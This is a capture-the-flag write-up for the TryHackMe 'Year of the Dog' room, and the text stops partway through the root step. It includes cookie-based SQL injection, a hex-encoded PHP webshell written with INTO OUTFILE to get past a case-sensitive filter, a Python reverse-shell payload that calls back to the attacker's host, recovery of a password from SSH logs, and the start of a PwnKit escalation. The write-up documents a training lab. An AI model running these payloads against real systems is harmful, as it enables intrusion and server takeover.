Writeups/TryHackMe/Year of the Dog - TryHackMe Writeup
TryHackMeMediumRoom

Year of the Dog - TryHackMe Writeup

Year of the Dog TryHackMe writeup β€” SQL injection through a queue-number cookie, hex-encoded webshell written via INTO OUTFILE to bypass a case-sensitive WAF, and PwnKit for root.

Always so polite…

##Task 1 | Flags

Who knew? The dog has some bite!


###Answer the questions below

Q. User Flag

Ans.

Q. Root Flag

Ans.


##Walkthrough

Let's begin with a full port scan against the target

bash
root@ip-10-49-70-222:~# nmap -p- -vv -sT -sV 10.49.179.235 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Great, we can head straight to the Web Application running on port 80.

Canis Queueing landing page
Canis Queueing landing page

Not much to grab here. We need to run a gobuster scan and enumerate any hidden pages/files -

bash
root@ip-10-49-70-222:~# gobuster dir -u http://10.49.179.235/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,html,txt,zip =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.49.179.235/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: zip,php,html,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.html (Status: 403) [Size: 278] /.php (Status: 403) [Size: 278] /index.php (Status: 200) [Size: 597] /assets (Status: 301) [Size: 315] [--> http://10.49.179.235/assets/] /config.php (Status: 200) [Size: 0] /server-status (Status: 403) [Size: 278] Progress: 1091375 / 1091380 (100.00%) =============================================================== Finished ===============================================================

Not much here. /assets/ endpoint contained css, font and the background image.

After more recon, and inspecting the initial requests. Found the following -

http
GET / HTTP/1.1 Host: 10.49.179.235 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Date: Sun, 26 Jul 2026 17:42:37 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: id=4c83ca27de75068cd382f14a8358e62b; path=/ Vary: Accept-Encoding Content-Length: 598 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

When the first request was made, we were issued an ID which seems like a MD5 hash. Let's try tampering it's value and see if the queue number relates/depends on it.

Queue number changing after tampering the id cookie
Queue number changing after tampering the id cookie

And it does! When we change the value to 14. It returns the message - You are number Error in the queue

Now, we need to reverse engineer the logic here.

Couldn't crack the hash/string assigned. So, next we moved on to SQLi

And confirmed the vulnerability -

http
GET / HTTP/1.1 Host: 10.49.179.235 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.179.235/assets/ Cookie: id=' UNION SELECT 1,2 # Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Date: Sun, 26 Jul 2026 18:18:33 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 597 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Canis Queue</title> <meta charset=utf-8> <meta name="viewport" content="width=device-width, user-scalable=no"> <link rel="stylesheet" type="text/css" href="assets/css/dancing.css"> <link rel="stylesheet" type="text/css" href="assets/css/alegreya.css"> <link rel="stylesheet" type="text/css" href="assets/css/style.css"> </head> <body> <div id="background"></div> <main> <h1>Canis Queueing</h1> <h2>Where we queue for the sake of queueing -- like all good Brits!</h2> <p>You are number 2 in the queue</p> </main> </body> </html>

UNION SELECT 1,2 reflected as queue number 2
UNION SELECT 1,2 reflected as queue number 2

Great, next we'll enumerate the db -

text
Cookie: id=' UNION SELECT null,database() # <p>You are number webapp in the queue</p>

So, the database is webapp

Soon, we are able to read local files using LOAD_FILE-

http
GET / HTTP/1.1 Host: 10.49.179.235 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.179.235/assets/ Accept-Encoding: gzip, deflate, br Cookie: id=' UNION SELECT null,LOAD_FILE('/etc/passwd') # Connection: keep-alive HTTP/1.1 200 OK Date: Sun, 26 Jul 2026 19:09:29 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 2213 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Canis Queue</title> <meta charset=utf-8> <meta name="viewport" content="width=device-width, user-scalable=no"> <link rel="stylesheet" type="text/css" href="assets/css/dancing.css"> <link rel="stylesheet" type="text/css" href="assets/css/alegreya.css"> <link rel="stylesheet" type="text/css" href="assets/css/style.css"> </head> <body> <div id="background"></div> <main> <h1>Canis Queueing</h1> <h2>Where we queue for the sake of queueing -- like all good Brits!</h2> <p>You are number root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:109:114::/var/lib/landscape:/usr/sbin/nologin sshd:x:110:65534::/run/sshd:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false dylan:x:1000:1000:dylan,,,:/home/dylan:/bin/bash in the queue</p> </main> </body> </html>

Next, we'll try and read the files we enumerated -

config.php -

php
<?php $servername = "localhost"; $username = "web"; $password = "Cda3RsDJga"; $dbname = "webapp"; $dbh = new mysqli($servername, $username, $password, $dbname); if ($dbh->connect_error){ die("Connection failed: ". $dbh->connect_error); } ?>

index.php -

php
<?php $badStrings=array("3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f646f672f3e203c696e70757420747970653d7375626d69742076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a", "DUMPFILE", "SLEEP", "LOADFILE", "AND", ">", "<", "CONCAT", "IF", "ELT", "0,1"); $stringsLen=count($badStrings); require_once "config.php"; if(!isset($_COOKIE["id"])){ $cookie = bin2hex(random_bytes(16)); $queueNum = rand(1,100); setcookie("id", $cookie, NULL, "/"); $sql = "INSERT INTO queue VALUES ('". $cookie . "',". $queueNum .")"; if(!$dbh->query($sql) === TRUE){ die("Error: " . $dbh->error); } } else { $cookie = $_COOKIE["id"]; for($x=0; $x<$stringsLen;$x++){ if (strstr($cookie, $badStrings[$x]) !== false){ die("RCE Attempt detected"); } } $sql = "SELECT * FROM queue WHERE userID='". $cookie . "'"; $result = $dbh->query($sql); if(!$result === TRUE){ die("Error: " . $dbh->error); } else if ($result->num_rows > 0){ while($row = $result->fetch_assoc()){ $queueNum = $row["queueNum"]; } } else{ $queueNum = "Error"; } } ?> <!DOCTYPE html> <html> <head> <title>Canis Queue</title> <meta charset=utf-8> <meta name="viewport" content="width=device-width, user-scalable=no"> <link rel="stylesheet" type="text/css" href="assets/css/dancing.css"> <link rel="stylesheet" type="text/css" href="assets/css/alegreya.css"> <link rel="stylesheet" type="text/css" href="assets/css/style.css"> </head> <body> <div id="background"></div> <main> <h1>Canis Queueing</h1> <h2>Where we queue for the sake of queueing -- like all good Brits!</h2> <p>You are number <?php echo $queueNum;?>

The WAF uses PHP's strstr() function, which is case-sensitive. It blocks: DUMPFILE, SLEEP, LOADFILE, AND, >, <, CONCAT, IF, ELT, 0,1 (Notice that LOAD_FILE and concatworked because they bypass the case-sensitive match!)

So, let's try and use OUTFILE to dump a Reverse PHP Webshell -

Directly writing a webshell triggered the WAF. So, To bypass this, we can encode our PHP webshell as a Hex string in MySQL. MySQL will decode the hex and write the actual PHP code to the file, but the cookie payload itself won't contain any < or > characters, so it bypasses the WAF completely! -

http
GET / HTTP/1.1 Host: 10.49.179.235 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.179.235/assets/ Accept-Encoding: gzip, deflate, br Cookie: id=' UNION SELECT null,0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e INTO OUTFILE '/var/www/html/shell.php' # Content-Length: 26 Connection: keep-alive HTTP/1.1 200 OK Date: Sun, 26 Jul 2026 19:17:08 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 601 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Canis Queue</title> <meta charset=utf-8> <meta name="viewport" content="width=device-width, user-scalable=no"> <link rel="stylesheet" type="text/css" href="assets/css/dancing.css"> <link rel="stylesheet" type="text/css" href="assets/css/alegreya.css"> <link rel="stylesheet" type="text/css" href="assets/css/style.css"> </head> <body> <div id="background"></div> <main> <h1>Canis Queueing</h1> <h2>Where we queue for the sake of queueing -- like all good Brits!</h2> <p>You are number Error in the queue</p> </main> </body> </html>

Webshell written to /var/www/html/shell.php via INTO OUTFILE
Webshell written to /var/www/html/shell.php via INTO OUTFILE

Moment of truth -

bash
sh1v4ng@Shivangs-MacBook-Air TryHackMe % curl "http://10.49.179.235/shell.php?cmd=id" \N uid=33(www-data) gid=33(www-data) groups=33(www-data) sh1v4ng@Shivangs-MacBook-Air TryHackMe %

Works!

Let's establish a reverse listener on our attacker machine -

bash
nc -lnvp 1337

And, then send the payload -

text
http://10.49.179.235/shell.php?cmd=python3+-c+%27import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.49.70.222%22,1337));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn(%22sh%22)%27

Now, we have a reverse shell established!

Stabilize the shell with the following commands -

bash
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

Next, we head directly to the user /home/dylan -

bash
www-data@year-of-the-dog:/home/dylan$ ls -la ls -la total 120 drwxr-xr-x 4 dylan dylan 4096 Sep 5 2020 . drwxr-xr-x 3 root root 4096 Sep 3 2020 .. lrwxrwxrwx 1 dylan dylan 9 Sep 3 2020 .bash_history -> /dev/null -rw-r--r-- 1 dylan dylan 220 Sep 3 2020 .bash_logout -rw-r--r-- 1 dylan dylan 3771 Sep 3 2020 .bashrc drwx------ 2 dylan dylan 4096 Sep 5 2020 .cache -rw-rw-r-- 1 dylan dylan 53 Sep 5 2020 .gitconfig drwx------ 3 dylan dylan 4096 Sep 5 2020 .gnupg lrwxrwxrwx 1 root root 9 Sep 3 2020 .mysql_history -> /dev/null -rw-r--r-- 1 dylan dylan 807 Sep 5 2020 .profile -rw-r--r-- 1 dylan dylan 0 Sep 5 2020 .sudo_as_admin_successful -r-------- 1 dylan dylan 38 Sep 5 2020 user.txt -rw-r--r-- 1 dylan dylan 85134 Sep 5 2020 work_analysis www-data@year-of-the-dog:/home/dylan$

user.txt is not readable.

From the looks of it, work_analysis file is a log file of login attempts over SSH -

bash
www-data@year-of-the-dog:/home/dylan$ head -n 50 work_analysis head -n 50 work_analysis Sep 5 20:52:34 staging-server sshd[39184]: Received disconnect from 192.168.1.142 port 45582:11: Bye Bye [preauth] Sep 5 20:52:34 staging-server sshd[39184]: Disconnected from authenticating user root 192.168.1.142 port 45582 [preauth] Sep 5 20:52:35 staging-server sshd[39190]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39191]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39194]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39195]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39192]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39189]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39186]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39196]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39188]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39197]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39187]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39198]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39193]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39200]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39201]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:35 staging-server sshd[39216]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:52:37 staging-server sshd[39191]: Failed password for root from 192.168.1.142 port 45596 ssh2 Sep 5 20:52:37 staging-server sshd[39186]: Failed password for root from 192.168.1.142 port 45584 ssh2 Sep 5 20:52:37 staging-server sshd[39192]: Failed password for root from 192.168.1.142 port 45598 ssh2 Sep 5 20:52:37 staging-server sshd[39188]: Failed password for root from 192.168.1.142 port 45588 ssh2 Sep 5 20:52:37 staging-server sshd[39190]: Failed password for root from 192.168.1.142 port 45594 ssh2 Sep 5 20:52:37 staging-server sshd[39196]: Failed password for root from 192.168.1.142 port 45606 ssh2 Sep 5 20:52:37 staging-server sshd[39194]: Failed password for root from 192.168.1.142 port 45602 ssh2 Sep 5 20:52:37 staging-server sshd[39189]: Failed password for root from 192.168.1.142 port 45590 ssh2 Sep 5 20:52:37 staging-server sshd[39195]: Failed password for root from 192.168.1.142 port 45592 ssh2 Sep 5 20:52:37 staging-server sshd[39197]: Failed password for root from 192.168.1.142 port 45608 ssh2 Sep 5 20:52:37 staging-server sshd[39198]: Failed password for root from 192.168.1.142 port 45614 ssh2 Sep 5 20:52:37 staging-server sshd[39193]: Failed password for root from 192.168.1.142 port 45600 ssh2 Sep 5 20:52:37 staging-server sshd[39201]: Failed password for root from 192.168.1.142 port 45620 ssh2 Sep 5 20:52:37 staging-server sshd[39200]: Failed password for root from 192.168.1.142 port 45618 ssh2 Sep 5 20:52:37 staging-server sshd[39187]: Failed password for root from 192.168.1.142 port 45586 ssh2 Sep 5 20:52:37 staging-server sshd[39216]: Failed password for root from 192.168.1.142 port 45622 ssh2 Sep 5 20:52:39 staging-server sshd[39201]: Failed password for root from 192.168.1.142 port 45620 ssh2 Sep 5 20:52:39 staging-server sshd[39186]: Failed password for root from 192.168.1.142 port 45584 ssh2 Sep 5 20:52:39 staging-server sshd[39187]: Failed password for root from 192.168.1.142 port 45586 ssh2 Sep 5 20:52:39 staging-server sshd[39200]: Failed password for root from 192.168.1.142 port 45618 ssh2 Sep 5 20:52:39 staging-server sshd[39188]: Failed password for root from 192.168.1.142 port 45588 ssh2 Sep 5 20:52:39 staging-server sshd[39194]: Failed password for root from 192.168.1.142 port 45602 ssh2 Sep 5 20:52:39 staging-server sshd[39191]: Failed password for root from 192.168.1.142 port 45596 ssh2 Sep 5 20:52:39 staging-server sshd[39196]: Failed password for root from 192.168.1.142 port 45606 ssh2 Sep 5 20:52:39 staging-server sshd[39189]: Failed password for root from 192.168.1.142 port 45590 ssh2 Sep 5 20:52:39 staging-server sshd[39190]: Failed password for root from 192.168.1.142 port 45594 ssh2 Sep 5 20:52:39 staging-server sshd[39197]: Failed password for root from 192.168.1.142 port 45588 ssh2 Sep 5 20:52:39 staging-server sshd[39198]: Failed password for root from 192.168.1.142 port 45614 ssh2 Sep 5 20:52:39 staging-server sshd[39193]: Failed password for root from 192.168.1.142 port 45600 ssh2 Sep 5 20:52:39 staging-server sshd[39216]: Failed password for root from 192.168.1.142 port 45622 ssh2 Sep 5 20:52:39 staging-server sshd[39195]: Failed password for root from 192.168.1.142 port 45592 ssh2 Sep 5 20:52:39 staging-server sshd[39192]: Failed password for root from 192.168.1.142 port 45598 ssh2 www-data@year-of-the-dog:/home/dylan$ tail -n 50 work_analysis tail -n 50 work_analysis Sep 5 20:54:56 staging-server sshd[39286]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45712 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39287]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45706 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39288]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45714 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39293]: Disconnecting authenticating user root 192.168.1.142 port 45716: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39286]: Disconnecting authenticating user root 192.168.1.142 port 45716: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39287]: Disconnecting authenticating user root 192.168.1.142 port 45706: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39288]: Disconnecting authenticating user root 192.168.1.142 port 45714: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39293]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39286]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39287]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39288]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39293]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39287]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39286]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39288]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39303]: Failed password for root from 192.168.1.142 port 45736 ssh2 Sep 5 20:54:56 staging-server sshd[39303]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45736 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39303]: Disconnecting authenticating user root 192.168.1.142 port 45736: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39300]: Failed password for root from 192.168.1.142 port 45726 ssh2 Sep 5 20:54:56 staging-server sshd[39303]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39300]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45726 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39303]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39298]: Failed password for root from 192.168.1.142 port 45722 ssh2 Sep 5 20:54:56 staging-server sshd[39298]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45722 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39298]: Disconnecting authenticating user root 192.168.1.142 port 45722: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39298]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39298]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39300]: Disconnecting authenticating user root 192.168.1.142 port 45726 ssh2: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39300]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39300]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39299]: Failed password for root from 192.168.1.142 port 45724 ssh2 Sep 5 20:54:56 staging-server sshd[39299]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45724 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39299]: Disconnecting authenticating user root 192.168.1.142 port 45724: Too many authentication failures [preauth] Sep 5 20:54:56 staging-server sshd[39299]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39299]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39305]: Failed password for root from 192.168.1.142 port 45740 ssh2 Sep 5 20:54:56 staging-server sshd[39302]: Failed password for root from 192.168.1.142 port 45732 ssh2 Sep 5 20:54:56 staging-server sshd[39301]: Failed password for root from 192.168.1.142 port 45728 ssh2 Sep 5 20:54:56 staging-server sshd[39302]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45732 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39302]: Disconnecting authenticating user root 192.168.1.142 port 45732 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39305]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45740 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39301]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45728 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39302]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39301]: Disconnecting authenticating user root 192.168.1.142 port 45728 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39305]: Disconnecting authenticating user root 192.168.1.142 port 45740 ssh2 [preauth] Sep 5 20:54:56 staging-server sshd[39301]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root Sep 5 20:54:56 staging-server sshd[39302]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39305]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39301]: PAM service(sshd) ignoring max retries; 6 > 3 Sep 5 20:54:56 staging-server sshd[39305]: PAM service(sshd) ignoring max retries; 6 > 3 www-data@year-of-the-dog:/home/dylan$

This is interesting as we can try to see if there were any failed attempts of leaking information about any other users -

bash
www-data@year-of-the-dog:/home/dylan$ grep "Failed password for invalid user" work_analysis | grep -v "root" rk_analysis | grep -v "root"valid user" wor Sep 5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624 ssh2 www-data@year-of-the-dog:/home/dylan$ www-data@year-of-the-dog:/home/dylan$ grep "Accepted password" work_analysis grep "Accepted password" work_analysis www-data@year-of-the-dog:/home/dylan$ www-data@year-of-the-dog:/home/dylan$ grep -oP "Failed password for \K(invalid user )?.*?(?= from)" work_analysis | sort -u ser )?.*?(?= from)" work_analysis | sort -u invalid user dylanLabr4d0rs4L1f3 root www-data@year-of-the-dog:/home/dylan$ www-data@year-of-the-dog:/home/dylan$

Interesting find! dylanLabr4d0rs4L1f3 seems like a password accidentally entered into the username field.

Or, maybe mangled where username was dylan and password - Labr4d0rs4L1f3 .

Let's try SSH for dylan -

bash
root@ip-10-49-70-222:~# ssh dylan@10.49.179.235 The authenticity of host '10.49.179.235 (10.49.179.235)' can't be established. ED25519 key fingerprint is SHA256:COVMyuuQk4t2tjR365JBufQ/zuW3VAnAka5yRg+KQnI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.49.179.235' (ED25519) to the list of known hosts. dylan@10.49.179.235's password: __ __ __ _ _ ____ \ \ / /__ __ _ _ __ ___ / _| | |_| |__ ___ | _ \ ___ __ _ \ V / _ \/ _` | '__| / _ \| |_ | __| '_ \ / _ \ | | | |/ _ \ / _` | | | __/ (_| | | | (_) | _| | |_| | | | __/ | |_| | (_) | (_| | |_|\___|\__,_|_| \___/|_| \__|_| |_|\___| |____/ \___/ \__, | |___/ dylan@year-of-the-dog:~$ id uid=1000(dylan) gid=1000(dylan) groups=1000(dylan) dylan@year-of-the-dog:~$

And we're in! Let's get the user flag -

bash
dylan@year-of-the-dog:~$ cat user.txt THM{<REDACTED>}

Great, we can now focus on the Root flag and attempt Privilege Escalation.

After a few attempts we found a vulnerable SUID binary (find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null)-

SUID enumeration showing the vulnerable pkexec binary
SUID enumeration showing the vulnerable pkexec binary

bash
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec

So, on the attacker machine we'll first clone the exploit and host it for the SSH connection to download on the target machine -

On Attacker Machine -

bash
